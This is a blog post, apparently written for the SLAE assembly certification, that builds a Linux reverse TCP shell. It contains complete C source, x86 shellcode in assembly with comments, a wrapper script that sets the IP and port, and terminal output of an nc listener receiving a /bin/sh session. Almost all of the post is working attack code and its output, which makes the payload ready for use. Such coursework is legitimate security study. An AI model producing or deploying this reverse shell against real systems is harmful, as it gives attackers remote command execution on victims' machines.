#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <errno.h>
#include <string.h>
#include <sys/types.h>
int main() {
int sockfd = 0;
int ret = 0;
struct sockaddr_in dest;
// Create an un-named socket. returns socket descriptor
sockfd = socket(AF_INET, SOCK_STREAM, 0);
memset(&dest, '0', sizeof(struct sockaddr));
dest.sin_family = AF_INET;
dest.sin_addr.s_addr = inet_addr("127.0.0.1");
dest.sin_port = htons(8888);
connect(sockfd, (struct sockaddr *)&dest, sizeof(struct sockaddr));
// Duplicate stdin, stdout, stderr
ret = dup2(sockfd, 0);
if (-1 == ret) {
printf("STDIN duplication failed: %s\n", strerror(errno));
return 1;
}
ret = dup2(sockfd, 1);
if (-1 == ret) {
printf("STDOUT duplication failed: %s\n", strerror(errno));
return 1;
}
ret = dup2(sockfd, 2);
if (-1 == ret) {
printf("STDERR duplication failed: %s\n", strerror(errno));
return 1;
}
// Replace process image
char *args[2];
args[0] = "/bin/sh";
args[1] = NULL; // Needs to ne a NULL terminated list of args
ret = execve(args[0], args, NULL);
if (-1 == ret) {
printf("Execve failed: %s\n", strerror(errno));
return 1;
}
return 0;
}
I've then compiled the reverse shell:
$ gcc -Wall shell_reverse_tcp.c -o shell_reverse_tcpStarted the listener:
$ nc -lvvp 8888 Listening on [0.0.0.0] (family 0, port 8888)And in another terminal executed the reverse shellcode:
$ ./shell_reverse_tcp
Listening on [0.0.0.0] (family 0, port 8888) Connection from [127.0.0.1] port 8888 [tcp/*] accepted (family 2, sport 60226) whoami liv
To see the system calls necessary to implement this in assembly, I've used strace:
$ strace ./shell_reverse_tcp
...
socket(PF_INET, SOCK_STREAM, IPPROTO_IP) = 3
connect(3, {sa_family=AF_INET, sin_port=htons(8888), sin_addr=inet_addr("127.0.0.1")}, 16) = 0
dup2(3, 0) = 0
dup2(3, 1) = 1
dup2(3, 2) = 2
execve("/bin/sh", ["/bin/sh"], [/* 0 vars */]) = 0
Next is the commented assembly source implementing the system calls from above:
global _start
section .text
_start:
; Linux Syscall Reference
; http://syscalls.kernelgrok.com/
; 1. socket(PF_INET, SOCK_STREAM, IPPROTO_IP) = sockfd
xor eax, eax
xor ebx, ebx
xor ecx, ecx
push ecx ; NULL terminate args list
mov cl, 6 ; IPPROTO_TCP (6)
push ecx
xor ecx, ecx
mov cl, 1 ; SOCK_STREAM (1) - in socket.h
push ecx
xor ecx, ecx
mov cl, 2 ; PF_INET (2) - IP PROTO FAMILY
push ecx
mov ecx, esp ; socketcall arguments
xor ebx, ebx
mov bl, 1 ; socketcall type of call: SYS_SOCKET (1)
push 102
pop eax ; socketcall syscall
int 0x80
mov edx, eax ; sockfd is returned in eax. Save into edx
; 2. connect(3, {sa_family=AF_INET, sin_port=htons(8888), sin_addr=inet_addr("127.0.0.1")}, 16)
;struct sockaddr_in {
; short sin_family; // e.g. AF_INET, AF_INET6
; unsigned short sin_port; // e.g. htons(3490)
; struct in_addr sin_addr; // see struct in_addr, below
; char sin_zero[8]; // zero this if you want to
;};
;struct in_addr {
; unsigned long s_addr; // load with inet_pton()
;};
push <IP> ; IP address
push word <PORT>; 16 bits - port number
push word 2 ; family - AF_INET (2)
mov ecx, esp ; pointer to args
push byte 0x10 ; Address length - 16 bytes
push ecx ; Pointer to sockaddr_in structure
push edx ; sockfd from socket call
mov ecx, esp ; socketcall arguments
xor ebx, ebx
mov bl, 3 ; socketcall type of call: SYS_CONNECT (3)
xor eax, eax
mov al, 102 ; socketcall syscall
int 0x80
; 3. dup2(connfd, 2), dup2(connfd, 1), dup2(connfd, 0)
push 2
pop ecx ; ecx - newfd
mov ebx, edx ; edx - connfd, ebx - oldfd
dup_loop:
mov al, 63 ; dup2 syscall
int 0x80
dec ecx
jns dup_loop ; exit when signed (-1)
; 4. execve("/bin/sh", ["/bin/sh"], [/* 0 vars */])
; PUSH the first null dword
xor eax, eax
push eax
; PUSH //bin/sh (8 bytes)
push 0x68732f2f ; 'hs//'
push 0x6e69622f ; 'nib/
mov ebx, esp ; EBX - 1st param - NULL terminated filename
push eax ; EDX - 3rd param - NULL terminated list of env variables
mov edx, esp ; NULL terminator must be set before setting the 2nd param!
push ebx ; ECX - 2nd param - array of argument strings
mov ecx, esp
mov al, 11 ; execve syscall
int 0x80
The IP and port are replaced by a bash script, which does compilation and linking:
$ ./compile.sh
Usage: compile.sh {ip} {port}
$ ./compile.sh 127.0.0.2 8899
[+] Replacing IP with 0x0200007f
[+] Replacing port number with 0xc322
[+] Assembling with Nasm ...
[+] Linking ...
[+] Cleaning ...
[+] Done!
$ nc -lvvp 8899
Listening on [0.0.0.0] (family 0, port 8899)
$ ./shell_reverse_tcp
Connection from [127.0.0.1] port 8899 [tcp/*] accepted (family 2, sport 41801)
whoami
liv
The complete source files, wrapper bash script and test shellcode can be found in a git repository at:
SLAE
This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:
www.securitytube-training.com/online-courses/securitytube-linux-assembly-expert/
Student ID: SLAE- 449
No comments:
Post a Comment